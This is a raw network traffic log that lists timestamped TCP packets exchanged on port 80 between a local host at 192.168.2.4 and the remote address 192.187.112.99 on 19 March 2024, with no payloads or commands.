Mar 19, 2024 08:56:53.826056957 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826231003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826276064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826360941 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826409101 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826455116 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826495886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826596022 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826642036 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826666117 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826713085 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826899052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826911926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826924086 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.826945066 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826956987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827023983 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827068090 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827146053 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827193022 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827236891 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827281952 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827413082 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827457905 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827524900 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827538967 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827572107 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827614069 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827657938 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827688932 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827733994 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827744961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827784061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827836990 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827850103 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.827883005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.827893972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828222990 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828269958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828356028 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828401089 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828433037 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828473091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828588009 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828635931 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828684092 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828731060 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828763008 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828809023 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.828824997 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.828866959 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829026937 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829040051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829075098 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829108000 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829121113 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829145908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829215050 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829257011 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829273939 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829319000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829325914 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829371929 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829566956 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829612017 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829643011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829684019 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829715014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829746962 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.829760075 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.829786062 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830003023 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830017090 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830028057 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830049038 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830065966 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830070972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830092907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830112934 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830128908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830156088 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830195904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830338955 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830355883 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830387115 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830398083 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830476999 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830524921 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830646992 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830693960 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830704927 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830753088 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830818892 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830864906 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.830894947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.830938101 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831073046 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831087112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831119061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831130981 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831171989 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831237078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831278086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831319094 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831363916 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831365108 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831410885 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831423998 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831466913 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831466913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831515074 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831526041 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831557989 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831571102 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831595898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831631899 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831674099 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831748962 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831794024 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831826925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831871033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831903934 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831954002 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.831968069 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.831984043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832010031 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832021952 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832048893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832087040 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832123995 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832170010 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832212925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832259893 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832350016 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832396030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832524061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832570076 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832623959 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832669973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832731962 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832751036 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832767010 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832776070 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832791090 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832812071 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832818985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832858086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832875013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832918882 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832921982 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832954884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.832963943 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.832998037 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833035946 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833089113 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833120108 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833163977 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833216906 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833261967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833339930 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833389044 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833420038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833467007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833493948 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833539963 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833551884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833595991 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833606958 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833652020 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.833859921 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.833904982 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.933835030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.933917046 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.933933020 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.933976889 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934003115 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934048891 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934066057 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934077978 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934103966 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934129953 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934154034 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934200048 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934283972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934329987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934340000 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934382915 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934392929 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934438944 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934472084 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934516907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934576988 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934590101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934621096 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934634924 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934668064 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934710026 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934755087 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934799910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.934843063 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.934889078 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935226917 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935272932 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935400009 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935446024 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935487032 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935529947 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935650110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935693026 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935704947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935745955 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935781956 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935827017 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935867071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.935914993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.935981989 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936028004 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936057091 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936103106 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936316013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936359882 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936393023 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936431885 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936511993 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936558008 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936834097 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936882019 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936883926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.936927080 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.936969042 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937016010 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937047005 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937091112 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937112093 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937151909 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937216043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937262058 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937285900 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937328100 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937376022 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937417030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937446117 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937483072 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937582016 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937618971 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937627077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937654972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937706947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937752008 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.937921047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937935114 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.937971115 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938045025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938088894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938133955 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938182116 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938222885 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938262939 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938313961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938342094 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938358068 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938381910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938421011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938465118 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938508034 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938544035 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938551903 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938581944 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938646078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938692093 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938704014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938745975 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938812017 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938855886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938879967 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938922882 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.938954115 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.938998938 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939024925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939070940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939074039 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939120054 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939222097 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939234972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939268112 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939296007 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939328909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939337969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939373970 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939383984 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939426899 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939492941 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939538002 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939572096 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939615965 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939671040 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939713001 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939757109 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939800978 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939817905 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939860106 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939891100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939943075 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939945936 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.939985991 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.939992905 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940037012 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940078974 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940124035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940191984 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940232038 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940273046 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940318108 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940466881 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940515041 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940534115 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940596104 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940610886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940665007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940752983 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940771103 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940797091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940823078 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940874100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940917015 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.940938950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.940983057 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941018105 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941062927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941093922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941138029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941148996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941194057 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941262960 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941303968 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941349983 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941392899 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941421032 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941468000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941512108 CET	80	49729	192.187.112.99	192.168.2.4
